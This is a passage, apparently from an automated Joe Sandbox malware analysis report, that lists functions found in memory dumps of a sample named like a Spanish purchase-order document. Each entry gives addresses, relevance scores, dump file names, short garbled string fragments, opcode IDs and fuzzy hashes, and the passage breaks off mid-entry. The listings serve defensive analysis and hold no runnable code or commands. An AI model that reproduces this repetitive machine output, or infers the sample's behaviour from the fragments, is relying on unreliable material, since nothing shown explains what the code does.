                                                                                                              • Opcode ID: bb0f82a65d0643ee438f016fdd5dd7c6583f6ac95921420675b9fee4fc8d5e49
                                                                                                              • Instruction ID: 6f5d1da1b774577736e3a7b2defd43eff050e0cd9ceef0f94e897f317edcbd24
                                                                                                              • Opcode Fuzzy Hash: bb0f82a65d0643ee438f016fdd5dd7c6583f6ac95921420675b9fee4fc8d5e49
                                                                                                              • Instruction Fuzzy Hash: 41B14AB1E14219DFDB18CFAAC8905DEFBB6FF89300F109529D019AB2A4DB349902CF44
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 07308968 Relevance: 4.0, Strings: 3, Instructions: 256COMMON
                                                                                                              Download Yara Rule
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: ixc$1]<$X9N
                                                                                                              • API String ID: 0-2314756314
                                                                                                              • Opcode ID: c58d0bf8c85687819b983e54fac1a83fe562891953a83228014fc2ab68a29aa7
                                                                                                              • Instruction ID: ecb139338fc6b290cdba1d4c41364ca6242a4d2a4ba4fcd8e2af7151d73da4f0
                                                                                                              • Opcode Fuzzy Hash: c58d0bf8c85687819b983e54fac1a83fe562891953a83228014fc2ab68a29aa7
                                                                                                              • Instruction Fuzzy Hash: 08B14CB1E15219DFDF58CFAAD8905DEFBB2BF89300F10952AD015AB2A5D7345902CF44
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FFF64B Relevance: 2.6, Strings: 2, Instructions: 111COMMON
                                                                                                              Download Yara Rule
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401835335.0000000006FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FF0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6ff0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: k7aR$sj
                                                                                                              • API String ID: 0-1570771478
                                                                                                              • Opcode ID: 91df20e4374bff0df705bffb3d9d56f36aaf133dfc335100b6874ba62bce68e7
                                                                                                              • Instruction ID: 8a3e87f7ba366b39d335bda4223a0aa0b253003d8805699ce0a7b8c743453346
                                                                                                              • Opcode Fuzzy Hash: 91df20e4374bff0df705bffb3d9d56f36aaf133dfc335100b6874ba62bce68e7
                                                                                                              • Instruction Fuzzy Hash: 1E4118B1E1520A9FDB44CFAAC5815AEFBF2BF89300F24C06AC515A7264D7309A41CF94
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FFF658 Relevance: 2.6, Strings: 2, Instructions: 108COMMON
                                                                                                              Download Yara Rule
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401835335.0000000006FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FF0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6ff0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: k7aR$sj
                                                                                                              • API String ID: 0-1570771478
                                                                                                              • Opcode ID: 8444a1424adea9f316b9666dcbba1249e4fb2c62172b0317a8b5213b8e90191a
                                                                                                              • Instruction ID: 3e819c2e4fbb4b4b3a45bcf38cbc00ec787f0d2801f3751af5412292c10005c4
                                                                                                              • Opcode Fuzzy Hash: 8444a1424adea9f316b9666dcbba1249e4fb2c62172b0317a8b5213b8e90191a
                                                                                                              • Instruction Fuzzy Hash: F741F6B5E1520A9FDB48CFAAC5815AEFBF2BF89300F24D06AC515B7264D7309A41CF94
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 07307F78 Relevance: 1.5, Strings: 1, Instructions: 223COMMON
                                                                                                              Download Yara Rule
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: N=?
                                                                                                              • API String ID: 0-2050138883
                                                                                                              • Opcode ID: 8271f5c9332f45bebc1491de4faa53b6746b7f126c3483d3d3a9ffa415bd4d26
                                                                                                              • Instruction ID: a5ad7810c9f5097624e0db29f25fe1c8b41e736890e727375c3250fbdccf8047
                                                                                                              • Opcode Fuzzy Hash: 8271f5c9332f45bebc1491de4faa53b6746b7f126c3483d3d3a9ffa415bd4d26
                                                                                                              • Instruction Fuzzy Hash: 38912BB1E15209DFDF08CFA6D5909DEFBB6EF86310F20942AE419AB6A4D7349541CF80
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 07307F88 Relevance: 1.5, Strings: 1, Instructions: 223COMMON
                                                                                                              Download Yara Rule
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: N=?
                                                                                                              • API String ID: 0-2050138883
                                                                                                              • Opcode ID: ea12e4ae143f9c11e45fcef85c75f33d28847ee61f19459e7052de3b0c35fb47
                                                                                                              • Instruction ID: 042fddbdf153b34efa8d90ca5378b5c62c8e2dff5b766382170051e65479f69a
                                                                                                              • Opcode Fuzzy Hash: ea12e4ae143f9c11e45fcef85c75f33d28847ee61f19459e7052de3b0c35fb47
                                                                                                              • Instruction Fuzzy Hash: 3D911BB1E15209DFDF08CFA6D5909DEFBB6EF86310F10942AE419AB664D734A541CF80
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 073080D7 Relevance: 1.4, Strings: 1, Instructions: 187COMMON
                                                                                                              Download Yara Rule
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: N=?
                                                                                                              • API String ID: 0-2050138883
                                                                                                              • Opcode ID: 14a99c65c33a6ad6a98895b65a1c315620d770fdc292ec02c9678ca434c11d23
                                                                                                              • Instruction ID: 174e5cbfce3fa1a202310bfafa834f65b285109518d587f21a5caa616b0d8e91
                                                                                                              • Opcode Fuzzy Hash: 14a99c65c33a6ad6a98895b65a1c315620d770fdc292ec02c9678ca434c11d23
                                                                                                              • Instruction Fuzzy Hash: 05714BB1E25209DFDF08CFA5E5909DEFBB6EF86310F20942AE419A7664D734A541CF80
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FFF1B0 Relevance: 1.4, Strings: 1, Instructions: 109COMMON
                                                                                                              Download Yara Rule
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401835335.0000000006FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FF0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6ff0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: E{z>
                                                                                                              • API String ID: 0-3248192629
                                                                                                              • Opcode ID: 3f89e79a96982addcb1c01930ee1e6ac0c701d080ca4e3acbf6962745ca0e3a4
                                                                                                              • Instruction ID: db7853c23de015abaafc70cba95120eb48d56489e7334d2cfc0b6376ee74d4f4
                                                                                                              • Opcode Fuzzy Hash: 3f89e79a96982addcb1c01930ee1e6ac0c701d080ca4e3acbf6962745ca0e3a4
                                                                                                              • Instruction Fuzzy Hash: 4C41F675E1520A9FDB48CFAAC4815AEFBF2EF88300F24C06AC515E7264D7359A428F95
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FFF1C0 Relevance: 1.4, Strings: 1, Instructions: 107COMMON
                                                                                                              Download Yara Rule
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401835335.0000000006FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FF0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6ff0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: E{z>
                                                                                                              • API String ID: 0-3248192629
                                                                                                              • Opcode ID: f9f557a4f2ba595816efe9fb265ee054b375caa616997ff79a50a8febbd5ba9f
                                                                                                              • Instruction ID: a498af4008edf85bbee8c2f70cec1c083ea630c3751285018e2ae7f57ac9e480
                                                                                                              • Opcode Fuzzy Hash: f9f557a4f2ba595816efe9fb265ee054b375caa616997ff79a50a8febbd5ba9f
                                                                                                              • Instruction Fuzzy Hash: 47412875D1520A9FDB44CFAAC5815AEFBF2EF88300F10C029C515B7264D3359A418F95
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 07300007 Relevance: 1.3, Strings: 1, Instructions: 87COMMON
                                                                                                              Download Yara Rule
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: `
                                                                                                              • API String ID: 0-2679148245
                                                                                                              • Opcode ID: 677773eb2d7e3bd18fd1c63920eef5a98da5a59d82e6fd124f0f7e021350b467
                                                                                                              • Instruction ID: dc81776b770238168fad2407f2c385ae662e53878855a21173515b3f0ed1c69a
                                                                                                              • Opcode Fuzzy Hash: 677773eb2d7e3bd18fd1c63920eef5a98da5a59d82e6fd124f0f7e021350b467
                                                                                                              • Instruction Fuzzy Hash: 8831FD71D057548FE759CF6AC81069ABBB3AF8A200F15C0ABC448AB266DA3409468F52
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 07300040 Relevance: 1.3, Strings: 1, Instructions: 72COMMON
                                                                                                              Download Yara Rule
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: `
                                                                                                              • API String ID: 0-2679148245
                                                                                                              • Opcode ID: ed1687b48f16497aa12ca8581e61132d2aeed73216f55d9e3a3975565f3151c6
                                                                                                              • Instruction ID: 976e08e3bbcbf276401f3e9a24f9e8239ca29a4651f4ae71f41238be2bb7ac97
                                                                                                              • Opcode Fuzzy Hash: ed1687b48f16497aa12ca8581e61132d2aeed73216f55d9e3a3975565f3151c6
                                                                                                              • Instruction Fuzzy Hash: EA21CCB1E016189BEB18CFABD85079EFBF7EFC8200F14C07AD518A6254EB340A468F51
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FEF7B0 Relevance: .6, Instructions: 561COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: b97f4bf5528c81451a2099dab95384e49c28028b5e9a73c86c1ba49680f8a82d
                                                                                                              • Instruction ID: b362e14033489bb88eafb36a17f30a96b45eb77c917c87238d63e46f0e8820cc
                                                                                                              • Opcode Fuzzy Hash: b97f4bf5528c81451a2099dab95384e49c28028b5e9a73c86c1ba49680f8a82d
                                                                                                              • Instruction Fuzzy Hash: AC512A71E012198FDB18CFA9C9805AEFBF2BF89204F24816AD419A7355D7349A42CFA1
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FE6C48 Relevance: .4, Instructions: 417COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 1d7efe701193ac944b5115eb31c3ebf3859c678a9b784ae4c1dfd11f9431bb8f
                                                                                                              • Instruction ID: f1b13f3a7ef0b8d8a7899c3740d93ef3e8d2f526c737041ac32eec194dfa0e41
                                                                                                              • Opcode Fuzzy Hash: 1d7efe701193ac944b5115eb31c3ebf3859c678a9b784ae4c1dfd11f9431bb8f
                                                                                                              • Instruction Fuzzy Hash: C8F14D74B002099FDB54DF78C854BAEBBF6AF89300F5485A9D505DB3A1DA35EC42CBA0
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FE7B60 Relevance: .4, Instructions: 385COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 4fb82bd210cfb03e6f0b444086f92dc28eb0995886436426cdddcdb772ceff47
                                                                                                              • Instruction ID: 50dfb1dee86d3fd6485a00cac8b65b6eece6066dd12581016ef1ce1e7c289573
                                                                                                              • Opcode Fuzzy Hash: 4fb82bd210cfb03e6f0b444086f92dc28eb0995886436426cdddcdb772ceff47
                                                                                                              • Instruction Fuzzy Hash: 1B12B775D1071A8FCB55DF68C880AD9F7B1FF89300F1586AAD858A7211EB70AAC5CF90
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FE7B70 Relevance: .4, Instructions: 382COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 76a4a1bcfc24a326a452ec458aaf3d8af01bd4a46cb0868045867feeedc08457
                                                                                                              • Instruction ID: 359e2aacfbb3a67e4cf226bdc50615fd19c0540c44284be6c8b5187c23311b3f
                                                                                                              • Opcode Fuzzy Hash: 76a4a1bcfc24a326a452ec458aaf3d8af01bd4a46cb0868045867feeedc08457
                                                                                                              • Instruction Fuzzy Hash: A412B775D1071A8FCB54DF68C880AD9F7B1FF49300F1586AAD958A7211EB70AAC5CF90
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 07375818 Relevance: .4, Instructions: 377COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402704755.0000000007370000.00000040.00000800.00020000.00000000.sdmp, Offset: 07370000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7370000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: f38dfe303ed8de73c58c7a36f7df224dae154f5a2447adb84afbc67edc519bda
                                                                                                              • Instruction ID: e93f80e2f9c14ea98703719c63749fe6435530809036b90d714264d9f1913edc
                                                                                                              • Opcode Fuzzy Hash: f38dfe303ed8de73c58c7a36f7df224dae154f5a2447adb84afbc67edc519bda
                                                                                                              • Instruction Fuzzy Hash: 82D1BFB0B007098FEB29DB75C450B6FB7F6AF89301F1484ADD14A9B291DB39E905CB51
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00BFEBA0 Relevance: .3, Instructions: 315COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1393208929.0000000000BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BF0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_bf0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 6754aaba23ab0904a21809b64abf58ac4a7428087a5e74222809763d3d6061ee
                                                                                                              • Instruction ID: 9961d61f546773c67c832415bae04da359594202a3c0f23350db79d969764ae5
                                                                                                              • Opcode Fuzzy Hash: 6754aaba23ab0904a21809b64abf58ac4a7428087a5e74222809763d3d6061ee
                                                                                                              • Instruction Fuzzy Hash: 551261B1501F459AE730CF6AEE4C38D7AB1BB85368F704209D2A16A2F5DBF8154ACF44
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06EAC0E0 Relevance: .3, Instructions: 314COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401201967.0000000006EA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06EA0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6ea0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: df50e8c98fb022b015b29a075665dddbd9e00668c4a99c3f108e9ef8b8171e98
                                                                                                              • Instruction ID: 9db13d6da0849ad031b193a8addbbc5140c740b245e69e7060d2aadba1bea20b
                                                                                                              • Opcode Fuzzy Hash: df50e8c98fb022b015b29a075665dddbd9e00668c4a99c3f108e9ef8b8171e98
                                                                                                              • Instruction Fuzzy Hash: 5BA16D70B003145FEB98ABB8882477F66A7AFC9201F24C53DD04ADB794DE389D4387A5
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 07370390 Relevance: .3, Instructions: 312COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402704755.0000000007370000.00000040.00000800.00020000.00000000.sdmp, Offset: 07370000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7370000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 6dcaafa7ce7b837a43d96b0499efc927cbe175059bdb09441e3c1133455b240e
                                                                                                              • Instruction ID: a4e211225f217c03b80df9c242e64627cad026e0dd2f5be045c8a483f40a3174
                                                                                                              • Opcode Fuzzy Hash: 6dcaafa7ce7b837a43d96b0499efc927cbe175059bdb09441e3c1133455b240e
                                                                                                              • Instruction Fuzzy Hash: A7E1F9B4E002598FDB18DFA9C580AAEBBF6FF89304F248169D419AB355D734AD41CF60
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 073707C8 Relevance: .3, Instructions: 312COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402704755.0000000007370000.00000040.00000800.00020000.00000000.sdmp, Offset: 07370000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7370000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: ce5e2acd931958f692fc0f9f3154ebc626ff3132c0360b59b337e716b6d7888a
                                                                                                              • Instruction ID: 30bcb289ffa8c0f2318dacdeddb140bf0e30036b8860b340ed0d62f0ebd4147b
                                                                                                              • Opcode Fuzzy Hash: ce5e2acd931958f692fc0f9f3154ebc626ff3132c0360b59b337e716b6d7888a
                                                                                                              • Instruction Fuzzy Hash: 14E108B4E002598FDB18DFA9C580AAEFBF6BF89304F248169D419AB355D734AD41CF60
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FEFB18 Relevance: .3, Instructions: 312COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 55eb08b5dedfda706cfa87a3129c231ea7dcb20362a2a6e1e739dd4a20a9ba00
                                                                                                              • Instruction ID: 67b779dcbe984a55d98c38b3964ba717dd2aa29881dbba5b0dc0ecddea207de9
                                                                                                              • Opcode Fuzzy Hash: 55eb08b5dedfda706cfa87a3129c231ea7dcb20362a2a6e1e739dd4a20a9ba00
                                                                                                              • Instruction Fuzzy Hash: D7E1F874E012598FDB14DFA9C580AAEFBF2BF89304F248169D815AB355D734AD42CFA0
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0730F8A0 Relevance: .3, Instructions: 312COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 1cbc2b24ec1ef75851b836d40ea0ce271ea9807b387fb3d12a608c11d659dcc2
                                                                                                              • Instruction ID: f79972886c76120d0fb729e7d703c0359b98385fcdc32b1f201034c342971e30
                                                                                                              • Opcode Fuzzy Hash: 1cbc2b24ec1ef75851b836d40ea0ce271ea9807b387fb3d12a608c11d659dcc2
                                                                                                              • Instruction Fuzzy Hash: B4E10BB4E002598FDB14DFA8C590AAEFBF6BF89304F248159D459A7395D730AD42CFA0
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FE5BB8 Relevance: .3, Instructions: 308COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 308d33b78a0849189bac6f38c0149214629b2cd1253a94948beccab43a1a0633
                                                                                                              • Instruction ID: 91e396a4d298cd8bb12b536fb1fc8338471647affa4a74651b508efe417e5c74
                                                                                                              • Opcode Fuzzy Hash: 308d33b78a0849189bac6f38c0149214629b2cd1253a94948beccab43a1a0633
                                                                                                              • Instruction Fuzzy Hash: 31C16534B006018FEBA4DF35C884BAEB7E6BF84708F148569D516CB3A1DB76E845CB81
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 07372D40 Relevance: .3, Instructions: 298COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402704755.0000000007370000.00000040.00000800.00020000.00000000.sdmp, Offset: 07370000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7370000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 5cf8e99c091581e63ef5f3c4f871cdfe38391e8f63488d210b40283b8637d261
                                                                                                              • Instruction ID: e70d5ca53b9c29c914beab9eebf3b035ee213b9b6246e0bf14bcb47b74271ae0
                                                                                                              • Opcode Fuzzy Hash: 5cf8e99c091581e63ef5f3c4f871cdfe38391e8f63488d210b40283b8637d261
                                                                                                              • Instruction Fuzzy Hash: 75D1D3B4A00605CFEB54DF69C598EA9B7F1BF4D301F2580A8E40AAB361DB35AD45CF60
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 073079C7 Relevance: .3, Instructions: 270COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: b8f368cf7788bc6496cd1212b089066b4440a994b624f7620a4dab829eac5371
                                                                                                              • Instruction ID: 078818708425b5d8aa980bc4b0a2590f9fbaba7d96ece3028ae397e7134e6952
                                                                                                              • Opcode Fuzzy Hash: b8f368cf7788bc6496cd1212b089066b4440a994b624f7620a4dab829eac5371
                                                                                                              • Instruction Fuzzy Hash: 0FD13735D2075ACACB10EFA4D990A99B7B1FF95300F10C79AE5493B215EB706AC9CB81
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 073079D8 Relevance: .3, Instructions: 264COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 2d0cfa20c91a072e200e1c961e8280e9d767648be1929be51f33f2f806fe4561
                                                                                                              • Instruction ID: e50e4fbd964e5ae3413f51f30124de0ecc24d20de36e7db5429ad3495f93cdc2
                                                                                                              • Opcode Fuzzy Hash: 2d0cfa20c91a072e200e1c961e8280e9d767648be1929be51f33f2f806fe4561
                                                                                                              • Instruction Fuzzy Hash: 19D13735D2075ACACB10EFA4D990A99B7B1FF95300F10C79AE5493B215EB706AC9CF81
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00BFC0EC Relevance: .3, Instructions: 264COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1393208929.0000000000BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BF0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_bf0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 1ca731b67fece3831026bfceda22749fbac28abe62d4a2e37e0eb2fabd1a93dd
                                                                                                              • Instruction ID: b34474de224fd72df04db4a75306783cb3d9a86f5d1445d2237ad49dc8509f27
                                                                                                              • Opcode Fuzzy Hash: 1ca731b67fece3831026bfceda22749fbac28abe62d4a2e37e0eb2fabd1a93dd
